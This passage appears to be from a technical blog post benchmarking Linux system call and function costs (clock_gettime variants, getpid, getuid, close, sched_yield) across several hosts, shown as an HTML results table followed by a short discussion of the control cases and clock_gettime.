row0 col2\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col3\" class=\"data row0 col3\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col4\" class=\"data row0 col4\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col5\" class=\"data row0 col5\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col6\" class=\"data row0 col6\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col7\" class=\"data row0 col7\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col8\" class=\"data row0 col8\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col9\" class=\"data row0 col9\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col10\" class=\"data row0 col10\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col11\" class=\"data row0 col11\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col12\" class=\"data row0 col12\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col13\" class=\"data row0 col13\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col14\" class=\"data row0 col14\" >0<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row1\" class=\"row_heading level0 row1\" >clock_gettime<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col0\" class=\"data row1 col0\" >23<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col1\" class=\"data row1 col1\" >21<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col2\" class=\"data row1 col2\" >31<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col3\" class=\"data row1 col3\" >19<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col4\" class=\"data row1 col4\" >16<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col5\" class=\"data row1 col5\" >16<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col6\" class=\"data row1 col6\" >17<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col7\" class=\"data row1 col7\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col8\" class=\"data row1 col8\" >21<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col9\" class=\"data row1 col9\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col10\" class=\"data row1 col10\" >24<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col11\" class=\"data row1 col11\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col12\" class=\"data row1 col12\" >13<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col13\" class=\"data row1 col13\" >13<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row1_col14\" class=\"data row1 col14\" >24<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row2\" class=\"row_heading level0 row2\" >clock_gettime_mono<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col0\" class=\"data row2 col0\" >23<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col1\" class=\"data row2 col1\" >22<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col2\" class=\"data row2 col2\" >32<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col3\" class=\"data row2 col3\" >16<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col4\" class=\"data row2 col4\" >16<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col5\" class=\"data row2 col5\" >16<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col6\" class=\"data row2 col6\" >17<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col7\" class=\"data row2 col7\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col8\" class=\"data row2 col8\" >21<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col9\" class=\"data row2 col9\" >15<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col10\" class=\"data row2 col10\" >24<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col11\" class=\"data row2 col11\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col12\" class=\"data row2 col12\" >13<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col13\" class=\"data row2 col13\" >13<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row2_col14\" class=\"data row2 col14\" >24<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row3\" class=\"row_heading level0 row3\" >clock_gettime_mono_raw<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col0\" class=\"data row3 col0\" >23<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col1\" class=\"data row3 col1\" >22<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col2\" class=\"data row3 col2\" >33<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col3\" class=\"data row3 col3\" >542<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col4\" class=\"data row3 col4\" >544<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col5\" class=\"data row3 col5\" >350<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col6\" class=\"data row3 col6\" >582<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col7\" class=\"data row3 col7\" >332<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col8\" class=\"data row3 col8\" >762<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col9\" class=\"data row3 col9\" >660<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col10\" class=\"data row3 col10\" >427<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col11\" class=\"data row3 col11\" >274<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col12\" class=\"data row3 col12\" >122<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col13\" class=\"data row3 col13\" >290<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row3_col14\" class=\"data row3 col14\" >218<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row4\" class=\"row_heading level0 row4\" >clock_gettime_tai<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col0\" class=\"data row4 col0\" >23<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col1\" class=\"data row4 col1\" >21<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col2\" class=\"data row4 col2\" >32<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col3\" class=\"data row4 col3\" >542<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col4\" class=\"data row4 col4\" >546<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col5\" class=\"data row4 col5\" >352<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col6\" class=\"data row4 col6\" >587<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col7\" class=\"data row4 col7\" >333<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col8\" class=\"data row4 col8\" >762<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col9\" class=\"data row4 col9\" >660<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col10\" class=\"data row4 col10\" >427<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col11\" class=\"data row4 col11\" >274<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col12\" class=\"data row4 col12\" >122<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col13\" class=\"data row4 col13\" >292<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row4_col14\" class=\"data row4 col14\" >218<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row5\" class=\"row_heading level0 row5\" >close<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col0\" class=\"data row5 col0\" >568<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col1\" class=\"data row5 col1\" >262<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col2\" class=\"data row5 col2\" >275<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col3\" class=\"data row5 col3\" >484<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col4\" class=\"data row5 col4\" >495<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col5\" class=\"data row5 col5\" >283<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col6\" class=\"data row5 col6\" >514<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col7\" class=\"data row5 col7\" >277<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col8\" class=\"data row5 col8\" >668<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col9\" class=\"data row5 col9\" >610<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col10\" class=\"data row5 col10\" >356<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col11\" class=\"data row5 col11\" >243<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col12\" class=\"data row5 col12\" >93<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col13\" class=\"data row5 col13\" >257<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row5_col14\" class=\"data row5 col14\" >145<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row6\" class=\"row_heading level0 row6\" >getpid<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col0\" class=\"data row6 col0\" >558<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col1\" class=\"data row6 col1\" >257<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col2\" class=\"data row6 col2\" >255<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col3\" class=\"data row6 col3\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col4\" class=\"data row6 col4\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col5\" class=\"data row6 col5\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col6\" class=\"data row6 col6\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col7\" class=\"data row6 col7\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col8\" class=\"data row6 col8\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col9\" class=\"data row6 col9\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col10\" class=\"data row6 col10\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col11\" class=\"data row6 col11\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col12\" class=\"data row6 col12\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col13\" class=\"data row6 col13\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row6_col14\" class=\"data row6 col14\" >2<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row7\" class=\"row_heading level0 row7\" >getuid<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col0\" class=\"data row7 col0\" >560<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col1\" class=\"data row7 col1\" >231<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col2\" class=\"data row7 col2\" >259<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col3\" class=\"data row7 col3\" >464<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col4\" class=\"data row7 col4\" >473<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col5\" class=\"data row7 col5\" >276<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col6\" class=\"data row7 col6\" >505<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col7\" class=\"data row7 col7\" >259<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col8\" class=\"data row7 col8\" >649<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col9\" class=\"data row7 col9\" >592<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col10\" class=\"data row7 col10\" >347<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col11\" class=\"data row7 col11\" >224<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col12\" class=\"data row7 col12\" >78<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col13\" class=\"data row7 col13\" >239<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row7_col14\" class=\"data row7 col14\" >137<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row8\" class=\"row_heading level0 row8\" >nothing<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col0\" class=\"data row8 col0\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col1\" class=\"data row8 col1\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col2\" class=\"data row8 col2\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col3\" class=\"data row8 col3\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col4\" class=\"data row8 col4\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col5\" class=\"data row8 col5\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col6\" class=\"data row8 col6\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col7\" class=\"data row8 col7\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col8\" class=\"data row8 col8\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col9\" class=\"data row8 col9\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col10\" class=\"data row8 col10\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col11\" class=\"data row8 col11\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col12\" class=\"data row8 col12\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col13\" class=\"data row8 col13\" >0<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row8_col14\" class=\"data row8 col14\" >0<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row9\" class=\"row_heading level0 row9\" >pthread_cond_signal<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col0\" class=\"data row9 col0\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col1\" class=\"data row9 col1\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col2\" class=\"data row9 col2\" >6<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col3\" class=\"data row9 col3\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col4\" class=\"data row9 col4\" >13<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col5\" class=\"data row9 col5\" >12<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col6\" class=\"data row9 col6\" >14<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col7\" class=\"data row9 col7\" >11<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col8\" class=\"data row9 col8\" >15<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col9\" class=\"data row9 col9\" >10<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col10\" class=\"data row9 col10\" >17<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col11\" class=\"data row9 col11\" >10<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col12\" class=\"data row9 col12\" >10<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col13\" class=\"data row9 col13\" >10<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row9_col14\" class=\"data row9 col14\" >17<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row10\" class=\"row_heading level0 row10\" >sched_yield<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col0\" class=\"data row10 col0\" >706<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col1\" class=\"data row10 col1\" >374<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col2\" class=\"data row10 col2\" >430<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col3\" class=\"data row10 col3\" >569<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col4\" class=\"data row10 col4\" >560<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col5\" class=\"data row10 col5\" >414<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col6\" class=\"data row10 col6\" >634<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col7\" class=\"data row10 col7\" >346<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col8\" class=\"data row10 col8\" >773<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col9\" class=\"data row10 col9\" >694<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col10\" class=\"data row10 col10\" >454<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col11\" class=\"data row10 col11\" >280<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col12\" class=\"data row10 col12\" >126<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col13\" class=\"data row10 col13\" >300<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row10_col14\" class=\"data row10 col14\" >232<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row11\" class=\"row_heading level0 row11\" >sqrt<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col0\" class=\"data row11 col0\" >6<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col1\" class=\"data row11 col1\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col2\" class=\"data row11 col2\" >15<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col3\" class=\"data row11 col3\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col4\" class=\"data row11 col4\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col5\" class=\"data row11 col5\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col6\" class=\"data row11 col6\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col7\" class=\"data row11 col7\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col8\" class=\"data row11 col8\" >7<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col9\" class=\"data row11 col9\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col10\" class=\"data row11 col10\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col11\" class=\"data row11 col11\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col12\" class=\"data row11 col12\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col13\" class=\"data row11 col13\" >1<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row11_col14\" class=\"data row11 col14\" >3<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row12\" class=\"row_heading level0 row12\" >sqrtrec<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col0\" class=\"data row12 col0\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col1\" class=\"data row12 col1\" >4<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col2\" class=\"data row12 col2\" >15<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col3\" class=\"data row12 col3\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col4\" class=\"data row12 col4\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col5\" class=\"data row12 col5\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col6\" class=\"data row12 col6\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col7\" class=\"data row12 col7\" >2<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col8\" class=\"data row12 col8\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col9\" class=\"data row12 col9\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col10\" class=\"data row12 col10\" >5<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col11\" class=\"data row12 col11\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col12\" class=\"data row12 col12\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col13\" class=\"data row12 col13\" >3<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row12_col14\" class=\"data row12 col14\" >5<\/td>\n            <\/tr>\n            <tr>\n                        <th id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072level0_row13\" class=\"row_heading level0 row13\" >syscall<\/th>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col0\" class=\"data row13 col0\" >560<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col1\" class=\"data row13 col1\" >252<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col2\" class=\"data row13 col2\" >265<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col3\" class=\"data row13 col3\" >440<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col4\" class=\"data row13 col4\" >460<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col5\" class=\"data row13 col5\" >269<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col6\" class=\"data row13 col6\" >497<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col7\" class=\"data row13 col7\" >243<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col8\" class=\"data row13 col8\" >620<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col9\" class=\"data row13 col9\" >579<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col10\" class=\"data row13 col10\" >345<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col11\" class=\"data row13 col11\" >221<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col12\" class=\"data row13 col12\" >76<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col13\" class=\"data row13 col13\" >233<\/td>\n                        <td id=\"T_dde6e7fa_0989_11ec_9e32_f8cab850d072row13_col14\" class=\"data row13 col14\" >136<\/td>\n            <\/tr>\n    <\/tbody><\/table>\n\n<h3 id=\"controls\">Controls<a class=\"headerlink\" href=\"#controls\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The cases used as controls are 'nothing' which literally does\nnothing, 'assign' which just assigns to a variable, <code>sqrt<\/code> which\ncomputes the square root of a small constant and <code>sqrtrec<\/code> which\nstacks a bunch of sqrt calls. The results for these are\nplausible, i.e. doing nothing is really measured as <code>10**-7<\/code> ns or\nso, the assignment costs 0.5 ns or so and computing the square\nroot takes only a few ns. Perhaps the most remarkable result is,\nthat computing the square root on a Atom CPU (ac3758) is pretty\nconstant over the 2 cases, whereas on the other hosts its runtime\ndepends on its argument.<\/p>\n<h3 id=\"clock-gettime\">Clock Gettime<a class=\"headerlink\" href=\"#clock-gettime\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Looking at the syscalls, one relation that holds true on all\nhosts is that the <code>clock_gettime(CLOCK_REALTIME)<\/code> syscall is much\nfaster than <code>getuid()<\/code> or <code>close()<\/code>. This can be explained by the\nfact that on Linux, <code>clock_gettime(CLOCK_REALTIME)<\/code> and a <a 